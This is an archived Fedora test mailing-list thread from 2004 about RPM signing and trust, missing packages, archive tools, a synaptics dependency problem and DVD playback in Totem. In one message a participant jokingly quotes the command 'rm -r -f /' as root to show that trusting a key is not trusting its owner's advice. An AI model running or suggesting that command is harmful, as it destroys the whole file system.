resist making signature checking configurable on a > per-repo basis, which would alleviate the strain but reduce the overall > utility of the tools. I'm not sure I see why it reduces the utility of the tool. My reasoning for it being done in yum: 1. it lets you use a repository out in the world that you trust the packagers (and those who can sign packages) but you don't know what kind of security the mirror you use has setup locally. So if their mirror gets owned you don't have to worry about installing trojanned packages. 2. it lets you use a local repo that you trust completely. Arguably this is dangerous but I think we've all at one point or another had an rpm we've installed on a set of machines that we knew was good. As you've said before, Peter, I think there needs to be something in between. rpm sigs tell you that this package is the same as the one that the package provider put out there. repository sigs should tell you that the metadata is the same as the repository provider put out there. nothing more. -sv From balay at fastmail.fm Mon Nov 1 23:34:15 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 17:34:15 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <1099349930.25045.130.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> <1099338407.25045.116.camel@localhost.localdomain> <1099349930.25045.130.camel@localhost.localdomain> Message-ID: Ok - you & Seth seem to have a solution to the problem. Still no good explanation why ALL keys should be treated the same. To me 'rehdat-key' is different from 'linva-key' etc. And I think rawhide can do the same. The analogy I keep thinking is 'my signature' is differnet than 'RedHat's CEO's signature' treating both to mean the same is nuts.. Satish From feliciano.matias at free.fr Mon Nov 1 23:43:21 2004 From: feliciano.matias at free.fr (=?ISO-8859-1?Q?F=E9liciano?= Matias) Date: Tue, 02 Nov 2004 00:43:21 +0100 Subject: Should Fedora rpms be signed? In-Reply-To: <604aa7910411011214741c9c3d@mail.gmail.com> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <604aa7910411011133401853@mail.gmail.com> <604aa791041101121243b13196@mail.gmail.com> <604aa7910411011214741c9c3d@mail.gmail.com> Message-ID: <1099352601.9834.56.camel@one.myworld> Le lundi 01 novembre 2004 ? 15:14 -0500, Jeff Spaleta a ?crit : > We can argue about the techical definition of what gpg-signing > means...as originally conceived in the pgp/gpg methodogy, but is a > pointless thing to discuss... in the context of rpm package signing. > rpm package signing is NOT a full implementation of a gpg/pgp signing > system. rpm's lack of understanding of what a signed key is, greatly > impacts "trust" > as a quantifiable concept..and automatically elevates all signd > packages to the same "trust" status. The "trust" in gpg, only define the trust about the origin of the key ! _NEVER_ a key will define the "trust" you should put on a package. A signed package tell the origin of the package. The origin of the package (with some documentations (QA), reputation of the provider, friend's advices, ...) tell you if you would take the risk (or not) to install the package on you system. The decision to install the package, is up to you. Not to gpg. You can fully trust my gpg key (because my friends sign my key and you know my friends), but you should not trust me if I say you : "please, enter 'rm -r -f /' as root" :-) The trust in gpg is not an indicator of quality or intelligence. > Whereas mature general use > gpg/pgp implementations know what a sign signature means, and how to > calculate "trust" from signatures on keys. If you trust me, and i sign > someone elses key, that key earns a measure of trust from my > signature. gnupg understands this concept of the web of trust.. rpm > does not... Use something like : $ gpg --refresh-keys --keyserver pgp.mit.edu [...] $ LANG=C rpm -K -v udev-039-6.i386.rpm | sed -n -e "s/.*Header.* \([[:alnum:]]\+\)$/\1/p" | xargs gpg --list-key -v pub 1024D/4F2A6FD2 2003-10-27 Fedora Project sig 3 4F2A6FD2 2003-10-27 Fedora Project sig 3 DB42A60E 2003-10-27 Red Hat, Inc sig 8DF56D05 2003-10-28 Fedora Linux (RPMS) sig 3 D1C76C53 2004-04-26 F?liciano Matias (normal) sig 11E60E88 2004-08-07 [Nom utilisateur introuvable] sig 003E1D9D 2004-08-07 [Nom utilisateur introuvable] sig FAF6AFE3 2004-08-07 [Nom utilisateur introuvable] sig 2A74F90D 2004-08-07 [Nom utilisateur introuvable] sig 7BAC7F6C 2004-10-23 [Nom utilisateur introuvable] sig 2 CF4655CF 2003-12-15 [Nom utilisateur introuvable] sig 2 BE950472 2004-05-17 [Nom utilisateur introuvable] sig 3 BB4B29A7 2003-12-03 [Nom utilisateur introuvable] sig 3 A8F02EF5 2004-10-21 [Nom utilisateur introuvable] sig 3 D950C647 2004-01-20 [Nom utilisateur introuvable] sig 3 02FF71B2 2004-02-15 [Nom utilisateur introuvable] sig 3 ADD4C933 2004-02-21 [Nom utilisateur introuvable] sig 3 8B415BA9 2004-03-29 [Nom utilisateur introuvable] sig 3 DC29E554 2004-03-29 [Nom utilisateur introuvable] sig 3 R A403ECA0 2004-02-23 [Nom utilisateur introuvable] sub 1024g/FB939E34 2003-10-27 sig 4F2A6FD2 2003-10-27 Fedora Project Well, I have a little gpg keyring. This only say : - I can trust the origin of the key and then the origin of the package. Nothing else. Suppose I ran this command under RHEL 2.1. Should I install udev on RHEL 2.1 ? > that is significant in the context of how rpm package > sining has been used so far. Because there is a lack of trust metric > in rpm's implementation, packaging signing..by vendors..has > historically meant more than prescribed by a general gpg methodology > definition of signing. The vendor : trust own solution for mission-critical, because ..., because... The client : I trust you because ..., because ... The vendor : Get the product (package) here. The client : How can I be sure this package come from you ? The vendor : The package is signed with own key. Own key is signed on pgp.mit.edu by other people. NB : The client trust the vendor as a provider of mission-critical solution, _before_ using any signature. > This isn't a matter of one or two really > really stupid users doing something really really stupid. This is a > matter of common peception as to what signing a package means, What is this "common perception" ? People trust RHEL for mission-critical server but they don't trust Fedora for mission-critical. However Fedora _and_ RHEL have signed rpm. > and > what vendors has historically wanted people to think signing a package > means... in the context of rpm's implementation of signing and not in > the context of gnupg's or pgp's general purpose implementation. And I > argue that historically... rpm package signing has meant more than > "built on this host" and that many vendors including Red Hat have > meant it to mean more than "built on this host." And i will argue > that until rpm get support for the trust metric concept using signed > keys, signing rawhide packages encourages people to "trust" rawhide > packages. "trust" me, rawhide is full of bugs. We don't any "metric concept using signed keys" to know that. > Where "trust" is a quantifiable measurement based on key > signatures. > > -jef > From pjones at redhat.com Mon Nov 1 23:50:11 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 01 Nov 2004 18:50:11 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> <1099338407.25045.116.camel@localhost.localdomain> <1099349930.25045.130.camel@localhost.localdomain> Message-ID: <1099353011.25045.143.camel@localhost.localdomain> On Mon, 2004-11-01 at 17:34 -0600, Satish Balay wrote: > Ok - you & Seth seem to have a solution to the problem. > > Still no good explanation why ALL keys should be treated the same. Because there's nothing about a key that tells you how to treat it. > To me 'rehdat-key' is different from 'linva-key' etc. And I think > rawhide can do the same. > > The analogy I keep thinking is 'my signature' is differnet than > 'RedHat's CEO's signature' treating both to mean the same is nuts.. But the signature isn't different in kind. You just "know" which documents one is good on and which one isn't. But we don't have that kind of knowledge for all keys. We don't know which repositories each key is good for what on, and making the infrastructure to tell that about keys is a lot of work. Making the infrastructure for a key to sign something which tells us is significantly easier, I think. -- Peter "Traveling through hyperspace isn't like dusting crops, boy." -- Solo From gstool at earthlink.net Mon Nov 1 23:50:09 2004 From: gstool at earthlink.net (Gerry Tool) Date: Mon, 01 Nov 2004 17:50:09 -0600 Subject: Where is Quanta+? In-Reply-To: <1099348775.4549.0.camel@localhost.localdomain> References: <4186B295.7080903@earthlink.net> <1099346788.4454.26.camel@localhost.localdomain> <1099347534.3296.27.camel@peace> <1099348775.4549.0.camel@localhost.localdomain> Message-ID: <4186CBB1.8040306@earthlink.net> Kim Lux wrote: >I just found "Quanta Plus" under the programming menu in my FC3rc3+ >install. > > > That's interesting. That is where I would expect to find it, but the rpm for it is not on the DVD I made for FC3R5. Can anyone find it on the CDs for FC3R5? Thanks. Gerry From lux at diesel-research.com Mon Nov 1 23:52:44 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 16:52:44 -0700 Subject: Where is Quanta+? In-Reply-To: <4186CBB1.8040306@earthlink.net> References: <4186B295.7080903@earthlink.net> <1099346788.4454.26.camel@localhost.localdomain> <1099347534.3296.27.camel@peace> <1099348775.4549.0.camel@localhost.localdomain> <4186CBB1.8040306@earthlink.net> Message-ID: <1099353165.4936.0.camel@localhost.localdomain> The install isos I used were in a directory ending with /rc/3/. The isos were dated Oct 28. On Mon, 2004-11-01 at 17:50 -0600, Gerry Tool wrote: > Kim Lux wrote: > > >I just found "Quanta Plus" under the programming menu in my FC3rc3+ > >install. > > > > > > > That's interesting. That is where I would expect to find it, but the > rpm for it is not on the DVD I made for FC3R5. > > Can anyone find it on the CDs for FC3R5? > > Thanks. > > Gerry > From balay at fastmail.fm Mon Nov 1 23:54:22 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 17:54:22 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <604aa7910411011133401853@mail.gmail.com> <604aa791041101121243b13196@mail.gmail.com> <604aa7910411011214741c9c3d@mail.gmail.com> <604aa79104110114041e7d33d3@mail.gmail.com> Message-ID: Jeff, your replies from gmail appear to send 2 e-mails - with the following headers (causing me some confusion here) 1: without cc:fedora-test-list 2: with cc:fedora-test-list Hence resending this reply to the list. Satish On Mon, 1 Nov 2004, Satish Balay wrote: > > > On Mon, 1 Nov 2004, Jeff Spaleta wrote: > > > On Mon, 1 Nov 2004 14:51:34 -0600 (CST), Satish Balay wrote: > > > And as Matias already pointed out - lets not mix QA perception with > > > 'signature'. > > > > > > I'm not.. i havent talked about QA at all. I'm talking about "trust" > > as defined in mature pgp/gpg implementations. Would you like > > references that talk about the trust metric inherent in something like gnupg? > > I'm saying that comparing packaging signing as implemented inside the > > rpm to general purpose gpg signing using gnupg is a somewhat apples to > > oranges discussion, and that the principles associated with general > > purpose gpg usage using an implementation like gnupg can not be mapped > > over to rpm's signing implementation without acknowledgment that rpm's > > lack of that inherent "trust" metric has greatly impacted what rpm > > package signing has meant historically. Changing the meaning now, > > simply by changing documentation isn't good enough for me. I believe > > the web-of-trust concept is a vital part of a full gpg implementation, > > and that historically the lack of a web-of-trust metric has meant that > > signed packages have been used both for shallow verification and as an > > inherent measure of "trust". Once there is an inherent "trust" metric > > respect of signed keys inside rpm, many of my concerns would be > > addressed. I encourage you to read up on how gnupg( aka gpg) > > calculates its trust database.... it has nothing to do with QA. > > > Long statements spin my head. > > You say: > > - rpm's package signing is not same as 'gnupg' signing > - the big difference is 'trust' mechanism (there is none for rpm) > - there is an inherent 'trust' in rpm signed packages due the absence of other proper means. > - signing rawhide breaks this inherent trust. > - rpm implementing web-of-trust is the solution. > > I'm not much famililar with gnupg (just ssh keys) - so I keep thinking > - the 'trust' mechanism' of gnupg is primarily to validate 'public' > keys. > > I still don't understand how you get the extra security of 'inherent' > trust' - and how 'rahide signed' pacakges (with a different key) > breaks this. The public keys are what I trust - and I'd like to use > each key differently. > > Satish > From lux at diesel-research.com Mon Nov 1 23:55:38 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 16:55:38 -0700 Subject: What is up with ark ? Message-ID: <1099353338.4936.3.camel@localhost.localdomain> Should ark be able to open a .bz2 file ? Is it just me or is ark seriously broken ? Was fileroller the default compress/uncompress utility in FC2 ? When did ark become the tool ? What is the package name for fileroller ? From rpaiz at simpaticus.com Mon Nov 1 23:57:19 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Mon, 01 Nov 2004 17:57:19 -0600 Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> <1099329020.3557.45.camel@localhost.localdomain> Message-ID: <1099353440.3557.104.camel@localhost.localdomain> On Mon, 2004-11-01 at 11:31 -0600, Satish Balay wrote: > Well - you want to remove all x/gui packages anyway - and most (if not > all) synaptic dependent packages (including up2date) are gui packages > anyway - hence should be removed (according to your minimal spec) > Up2date is not a GUI package. It is a text-mode tool. There is also up2date-gnome for those who additionally want a GUI tool, and rhn-applet to let them know in GNOME of needed updates. But up2date itself is text- based and has been key to keeping all my boxes properly patched. > And I didn't think loosing up2date was a big deal - as yum would > suffice in your minimal install. > Losing up2date and keeping yum would be a viable alternative, but it is not my preferred method of operation. As I am trying to "give back" a little to the Fedora community and Red Hat, Inc. where I can, I prefer to use "native" tools where possible. Up2date is a clear example since it is the "native" tool for Fedora even though yum is also fully- supported, and up2date is also the package manager for RHEL. So I prefer to use up2date, even if it has a small space penalty. If the difference is too large, then I'll settle for yum... but it is not my preferred option. > There is always a tradeoff on pushing synaptics into 'rhpl' - now > multiple tools that might depend-on/configure synaptics can now use > some common code from 'rhpl'. > > Perhaps you could argue that rhpl should be split up into > rhpl/rhpl-gui (not sure if this is feasiable or justified) > I don't understand the ramifications of those above, honestly... all I know is that synaptics didn't exist before, and it's instantly become a major roadblock to me. Happy to see it there for whomever has that type of hardware, but hate to see it intertwined in dependency hell. I would understand synaptics requiring rhpl to be present. After all, "the rhpl package contains Python code used by programs in Red Hat Linux" is what "rpm -qi rhpl" says. What I cannot understand is that rhpl *requires* synaptics. That seems backwards. > Could you list which packgaes you'd like to see gone (and are unable > to remove) - which would add up to the 40M of savings? Synaptics by > itself is 40k - so thats not it. 'yum remove'> Well, the 40MB was an estimate and it turned out to be high. But here we go, I'll attempt to be as specific as possible. First let's try to eliminate freetype and fontconfig, and we find that xorg-x11-libs requires freetype and fontconfig. We try to remove xorg-x11-libs, which is required by xorg-x11-Mesa-libGL, and we try to remove that which is required by synaptics. Finally we try to remove synaptics and we get required by rhpl which is required by up2date. Now, let's keep in mind that the "Size" reported by "rpm -qi" is misleading. For example, cups and cups-libs reported less than 600KB overall but removing them reduced disk space used by 6,068KB. Still, using this parameter we get: fontconfig 244,563 freetype 2,433,842 xorg-x11-libs 6,260,002 xorg-x11-Mesa-libGL 474,388 synaptics 94,970 rhpl 1,109,176 up2date 4,442,185 ============ TOTAL: 15,059,126 (14,706KB) Since, after all, this is a test system, I'm actually going to go through with this. Removing all these packages together results in a disk reduction of 16,888KB which is roughly 15% greater than expected by the Size parameter. Of course, having done this and wiped up2date, then I can also remove a whole lot of other stuff which is kind of controversial. Sacrificing yum allows me to delete another 31,564KB of stuff, sacrificing passwd (dependencies again) allows me to delete another 10,944KB worth of sendmail, openldap, etc., and so on. So there clearly *is* a problem here from my point of view. Note that just the rhpl dependency on synaptics forced me to lose up2date in order to remove another 10MB of stuff, and that in order to delete openldap I was forced to delete passwd! See my test doc (at the end) for details on my current progress: http://www.simpaticus.com/small-netserver-fc3-howto.php We need to improve on this somewhat. But as a first step, we need to make rhpl not depend on synaptics! Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... 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This must mean it has been deleted from the distro. I will file a bug report to request it back in. Bugzilla #137841. It seems to have been deleted between RC3 and RC5. Gerry From shahms at shahms.com Mon Nov 1 23:59:50 2004 From: shahms at shahms.com (Shahms King) Date: Mon, 01 Nov 2004 15:59:50 -0800 Subject: What is up with ark ? In-Reply-To: <1099353338.4936.3.camel@localhost.localdomain> References: <1099353338.4936.3.camel@localhost.localdomain> Message-ID: <1099353590.28290.4.camel@shahms.mesd.k12.or.us> On Mon, 2004-11-01 at 16:55 -0700, Kim Lux wrote: > Should ark be able to open a .bz2 file ? > > Is it just me or is ark seriously broken ? > > Was fileroller the default compress/uncompress utility in FC2 ? When > did ark become the tool ? > > What is the package name for fileroller ? file-roller -- Shahms E. King Multnomah ESD Public Key: http://shahms.mesd.k12.or.us/~sking/shahms.asc Fingerprint: 1612 054B CE92 8770 F1EA AB1B FEAB 3636 45B2 D75B -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From lux at diesel-research.com Tue Nov 2 00:00:00 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 17:00:00 -0700 Subject: What is up with ark ? In-Reply-To: <1099353338.4936.3.camel@localhost.localdomain> References: <1099353338.4936.3.camel@localhost.localdomain> Message-ID: <1099353600.4936.5.camel@localhost.localdomain> I found it. It is 'file-roller'. Why isn't it in the accessories menu ? Is there some sort of effort to wean people off certain apps and onto others, ie off file-roller and onto ark ? On Mon, 2004-11-01 at 16:55 -0700, Kim Lux wrote: > Should ark be able to open a .bz2 file ? > > Is it just me or is ark seriously broken ? > > Was fileroller the default compress/uncompress utility in FC2 ? When > did ark become the tool ? > > What is the package name for fileroller ? > From bartk at clara.co.uk Tue Nov 2 00:04:01 2004 From: bartk at clara.co.uk (Bart Kalita) Date: Tue, 02 Nov 2004 00:04:01 +0000 Subject: Where is Quanta+? In-Reply-To: <4186CBB1.8040306@earthlink.net> References: <4186B295.7080903@earthlink.net> <1099346788.4454.26.camel@localhost.localdomain> <1099347534.3296.27.camel@peace> <1099348775.4549.0.camel@localhost.localdomain> <4186CBB1.8040306@earthlink.net> Message-ID: <1099353841.12668.4.camel@nemesis.astradine.net> Isn't quanta package 3.3 now called kdewebdev? On Mon, 2004-11-01 at 17:50 -0600, Gerry Tool wrote: > Kim Lux wrote: > > >I just found "Quanta Plus" under the programming menu in my FC3rc3+ > >install. > > > > > > > That's interesting. That is where I would expect to find it, but the > rpm for it is not on the DVD I made for FC3R5. > > Can anyone find it on the CDs for FC3R5? > > Thanks. > > Gerry > From shahms at shahms.com Tue Nov 2 00:03:31 2004 From: shahms at shahms.com (Shahms King) Date: Mon, 01 Nov 2004 16:03:31 -0800 Subject: What is up with ark ? In-Reply-To: <1099353600.4936.5.camel@localhost.localdomain> References: <1099353338.4936.3.camel@localhost.localdomain> <1099353600.4936.5.camel@localhost.localdomain> Message-ID: <1099353811.28290.8.camel@shahms.mesd.k12.or.us> On Mon, 2004-11-01 at 17:00 -0700, Kim Lux wrote: > I found it. It is 'file-roller'. > > Why isn't it in the accessories menu ? > > Is there some sort of effort to wean people off certain apps and onto > others, ie off file-roller and onto ark ? It's under "System Tools" -> "Archive Manager" I doubt anyone is trying to ween people off of file-roller; it was probably just a general, uncoordinated, menu structure decision. File-roller is the "official" GNOME archive manager, while ark is a KDE app. -- Shahms E. King Multnomah ESD Public Key: http://shahms.mesd.k12.or.us/~sking/shahms.asc Fingerprint: 1612 054B CE92 8770 F1EA AB1B FEAB 3636 45B2 D75B -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From lux at diesel-research.com Tue Nov 2 00:06:52 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 17:06:52 -0700 Subject: Where is Quanta+? In-Reply-To: <1099353841.12668.4.camel@nemesis.astradine.net> References: <4186B295.7080903@earthlink.net> <1099346788.4454.26.camel@localhost.localdomain> <1099347534.3296.27.camel@peace> <1099348775.4549.0.camel@localhost.localdomain> <4186CBB1.8040306@earthlink.net> <1099353841.12668.4.camel@nemesis.astradine.net> Message-ID: <1099354012.4936.8.camel@localhost.localdomain> The help screen says I have Quanta 3.3.0. It launches from the command line with quanta. kdewebdev doesn't launch anything. On Tue, 2004-11-02 at 00:04 +0000, Bart Kalita wrote: > Isn't quanta package 3.3 now called kdewebdev? > > On Mon, 2004-11-01 at 17:50 -0600, Gerry Tool wrote: > > Kim Lux wrote: > > > > >I just found "Quanta Plus" under the programming menu in my FC3rc3+ > > >install. > > > > > > > > > > > That's interesting. That is where I would expect to find it, but the > > rpm for it is not on the DVD I made for FC3R5. > > > > Can anyone find it on the CDs for FC3R5? > > > > Thanks. > > > > Gerry > > > From lux at diesel-research.com Tue Nov 2 00:08:15 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 17:08:15 -0700 Subject: What is up with ark ? In-Reply-To: <1099353811.28290.8.camel@shahms.mesd.k12.or.us> References: <1099353338.4936.3.camel@localhost.localdomain> <1099353600.4936.5.camel@localhost.localdomain> <1099353811.28290.8.camel@shahms.mesd.k12.or.us> Message-ID: <1099354095.4936.10.camel@localhost.localdomain> It isn't under System Tools on my KDE menu. I can get it from the command line. Back to the original question: is ark mess up or is it just mine ? On Mon, 2004-11-01 at 16:03 -0800, Shahms King wrote: > On Mon, 2004-11-01 at 17:00 -0700, Kim Lux wrote: > > I found it. It is 'file-roller'. > > > > Why isn't it in the accessories menu ? > > > > Is there some sort of effort to wean people off certain apps and onto > > others, ie off file-roller and onto ark ? > > It's under "System Tools" -> "Archive Manager" > I doubt anyone is trying to ween people off of file-roller; it was > probably just a general, uncoordinated, menu structure decision. > File-roller is the "official" GNOME archive manager, while ark is a KDE > app. > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From balay at fastmail.fm Tue Nov 2 00:13:15 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 18:13:15 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <1099353011.25045.143.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> <1099338407.25045.116.camel@localhost.localdomain> <1099349930.25045.130.camel@localhost.localdomain> <1099353011.25045.143.camel@localhost.localdomain> Message-ID: On Mon, 1 Nov 2004, Peter Jones wrote: > On Mon, 2004-11-01 at 17:34 -0600, Satish Balay wrote: > > Ok - you & Seth seem to have a solution to the problem. > > > > Still no good explanation why ALL keys should be treated the same. > > Because there's nothing about a key that tells you how to treat it. Thats because the 'user' decides how to use the key - and had a choice to differenciate. > > To me 'rehdat-key' is different from 'linva-key' etc. And I think > > rawhide can do the same. > > > > The analogy I keep thinking is 'my signature' is differnet than > > 'RedHat's CEO's signature' treating both to mean the same is nuts.. > > But the signature isn't different in kind. You just "know" which > documents one is good on and which one isn't. But we don't have that > kind of knowledge for all keys. We don't know which repositories each > key is good for what on, and making the infrastructure to tell that > about keys is a lot of work. Making the infrastructure for a key to > sign something which tells us is significantly easier, I think. Ok - here you want the key to carry additional pay-load - and the infracture tools automatically use/manage this info. But I'm thinking the user manages keys - and assigns meaning to it. For eg: I'd like to be able to say: - if updates signed with 'fedora.us-key' give me a big fat warning. - if update signed with 'fedora.us-key' && foo-bar-key - go ahead and install. (where foo-bar user contributed that package to fedora.us) I guess both modes should be possible. Satish From lee_connell at hotmail.com Tue Nov 2 00:29:36 2004 From: lee_connell at hotmail.com (Lee Connell) Date: Mon, 01 Nov 2004 19:29:36 -0500 Subject: Totem not playing DVD's Message-ID: I installed Totem via yum, I also installed libdvdcss from rpm.pbone.net and I still can't play dvd's, it complains that I don't have the appropriate plugins available, has anyone gotten totem to work? Any ideas to help me get it working as I'm excited that fedora/redhat finally added a dvd/media player to the distro. Lee From gstool at earthlink.net Tue Nov 2 00:35:10 2004 From: gstool at earthlink.net (Gerry Tool) Date: Mon, 01 Nov 2004 18:35:10 -0600 Subject: Where is Quanta+? In-Reply-To: <1099354012.4936.8.camel@localhost.localdomain> References: <4186B295.7080903@earthlink.net> <1099346788.4454.26.camel@localhost.localdomain> <1099347534.3296.27.camel@peace> <1099348775.4549.0.camel@localhost.localdomain> <4186CBB1.8040306@earthlink.net> <1099353841.12668.4.camel@nemesis.astradine.net> <1099354012.4936.8.camel@localhost.localdomain> Message-ID: <4186D63E.6030501@earthlink.net> Kim Lux wrote: >The help screen says I have Quanta 3.3.0. > >It launches from the command line with quanta. > >kdewebdev doesn't launch anything. > > >On Tue, 2004-11-02 at 00:04 +0000, Bart Kalita wrote: > > >>Isn't quanta package 3.3 now called kdewebdev? >> >>On Mon, 2004-11-01 at 17:50 -0600, Gerry Tool wrote: >> >> >>>Kim Lux wrote: >>> >>> >>> >>>>I just found "Quanta Plus" under the programming menu in my FC3rc3+ >>>>install. >>>> >>>> >>>> >>>> >>>> >>>That's interesting. That is where I would expect to find it, but the >>>rpm for it is not on the DVD I made for FC3R5. >>> >>>Can anyone find it on the CDs for FC3R5? >>> >>>Thanks. >>> >>>Gerry >>> >>> >>> > > > I installed kdwebdev from Add/Remove Applications > Graphical Internet, and indeed, Quanta + 3.3 is now available. How did you know that, Bart? Gerry From balay at fastmail.fm Tue Nov 2 00:36:01 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 18:36:01 -0600 (CST) Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: <1099353440.3557.104.camel@localhost.localdomain> References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> <1099329020.3557.45.camel@localhost.localdomain> <1099353440.3557.104.camel@localhost.localdomain> Message-ID: On Mon, 1 Nov 2004, Rodolfo J. Paiz wrote: > On Mon, 2004-11-01 at 11:31 -0600, Satish Balay wrote: > > Well - you want to remove all x/gui packages anyway - and most (if not > > all) synaptic dependent packages (including up2date) are gui packages > > anyway - hence should be removed (according to your minimal spec) > > > > Up2date is not a GUI package. It is a text-mode tool. There is also > up2date-gnome for those who additionally want a GUI tool, and rhn-applet > to let them know in GNOME of needed updates. But up2date itself is text- > based and has been key to keeping all my boxes properly patched. Sorry - my mistake. > I would understand synaptics requiring rhpl to be present. After all, > "the rhpl package contains Python code used by programs in Red Hat > Linux" is what "rpm -qi rhpl" says. What I cannot understand is that > rhpl *requires* synaptics. That seems backwards. rhpl has code that requires synaptics. [root at n-gage-11 ~]# rpm -ql rhpl | grep py\$ | xargs grep -l synaptics /usr/lib/python2.3/site-packages/rhpl/mouse.py /usr/lib/python2.3/site-packages/rhpl/xhwstate.py As you point out - this causes x11 dependency on up2date. I agree this is a bug that should be fixed. My initial sugestion was - perhaps rhpl can be easily split into 'rhpl','rhpl-gui', thus preserving the required synaptics dep - and at the same time not pulling in 'x' depencencies for non-gui config tools. > fontconfig 244,563 > freetype 2,433,842 > xorg-x11-libs 6,260,002 > xorg-x11-Mesa-libGL 474,388 > synaptics 94,970 > rhpl 1,109,176 > up2date 4,442,185 > ============ > TOTAL: 15,059,126 (14,706KB) Ok - among all these packages the false (synaptics) depencecy is causing grief only with up2date. Satish From perbj at stanford.edu Tue Nov 2 01:59:39 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Mon, 01 Nov 2004 17:59:39 -0800 Subject: Totem not playing DVD's In-Reply-To: References: Message-ID: <1099360778.5376.18.camel@localhost.localdomain> On Mon, 2004-11-01 at 16:29, Lee Connell wrote: > I installed Totem via yum, I also installed libdvdcss from rpm.pbone.net and > I still can't play dvd's, it complains that I don't have the appropriate > plugins available, has anyone gotten totem to work? Any ideas to help me > get it working as I'm excited that fedora/redhat finally added a dvd/media > player to the distro. For DMCA and software patent reasons Red Hat can't distribute a free DVD player. However, Totem with the Gstreamer backend (which is what is included in Fedora Core 3) should be reasonably easy to upgrade to work as a DVD player. What you need is the DVD reading plugin for Gstreamer; a repository of Gstreamer stuff for FC2 is available here: http://gstreamer.freedesktop.org/pkg/fedora/2/i386/SRPMS.gst/ (the gstreamer-plugins-extra-dvd-0.8.5-0.lvn.1.2.i386.rpm package looks pretty promising...) I would think that these RPMs would work on FC3 as well; unfortunately I don't have a DVD player on the laptop that is currently running an FC3 prerelease so I can't really check sanely. I'd guess that FC3 packages will show up once FC3 is released. Instructions for installation of non-included Gstreamer stuff on Fedora in general, using the upstream packages, are here: http://gstreamer.freedesktop.org/download/fedora.html This repository is designed to be compatible with Fedora Core + Fedora.us. There are also repos for the additional dependencies available from that site. Cheers, Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From scott.aaron at abc.net.au Tue Nov 2 01:05:52 2004 From: scott.aaron at abc.net.au (Aaron Scott) Date: Tue, 02 Nov 2004 12:05:52 +1100 Subject: Totem not playing DVD's In-Reply-To: References: Message-ID: <1099357552.10315.136.camel@localhost.localdomain> I think you need a few more libraries than that. I installed these also: libdvdnav-0.1.10-2.1.fc2.fr.i386.rpm 